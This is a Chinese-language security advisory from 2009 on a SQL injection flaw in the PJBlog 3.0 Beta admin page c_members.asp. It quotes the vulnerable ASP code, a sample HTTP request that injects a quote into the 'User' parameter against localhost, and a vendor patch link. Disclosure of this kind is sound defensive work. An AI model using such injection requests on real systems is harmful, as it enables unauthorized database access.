PJBlog博客系统后台c_members.asp页面User变量过滤不严导致SQL注入缺陷


添加时间:
2009-02-04

系统编号:
WAVDB-01334

影响版本:
3.0 Beta

程序介绍:

PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，PJBlog同时支持简繁中文，UTF-8编码，相对于其他系统，PJBlog具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。

漏洞分析:

在文件control/ c_members.asp中：

 
  1. FindUser = Request.QueryString("User") //第28行  
  2. If Len(FindUser)<1 Then  
  3. FindUserFilter = ""  
  4. Else  
  5. FindUserFilter = " AND M.mem_Name='" & FindUser & "'"  
  6. End If  
  7. ……  
  8. SQL = "SELECT M.*,S.stat_name,S.stat_title FROM blog_Member as M,blog_status as S where M.mem_Status=S.stat_name"&FindUserFilter" order by mem_RegTime desc" //第42行  
  9. bMember.Open SQL, Conn, 1, 1  
程序没有对变量User过滤放入sql语句导致注入漏洞的产生。

漏洞利用:

GET /ConContent.asp?Fmenu=Members&Smenu=Users&User=lovemmm' HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://127.0.0.1:103/control.asp
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1:103
Connection: Keep-Alive
Cookie: .max=696A30AED2F66C44957D1DD822A8ED4B36EF0AE4A8F911ADDCAF0B008355C7D5D7597B31768A9DF245E14A8531ED9F70B052A8F4D8DB8091876E0348B8F7E6436A87400F5AD6E4620F62801E282766B481656BF8E87E5B53BC5B30DF2DDE6D48E49E4D84AAAE2A71696FA8E05EF08DB75208EE8776842AA29790426C0B1064D6; PJBlog3=memRight=111111111111&memHashKey=82c982f962699d83222439e1b0e4beba44c4336a&memName=admin; PJBlog3Setting=ViewType=normal; ASPSESSIONIDCCABSDDS=PBCLEGGCOMNKLPPKNBOLINGL; ASPSESSIONIDACBDSCCS=JKANBMHCGKFKGJFKNANKEJIG

解决方案:
厂商补丁：
PJblog
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://bbs.pjhome.net/thread-48122-1-1.html


信息来源:
<*来源: Bug.Center.Team
http://www.cnbct.org *>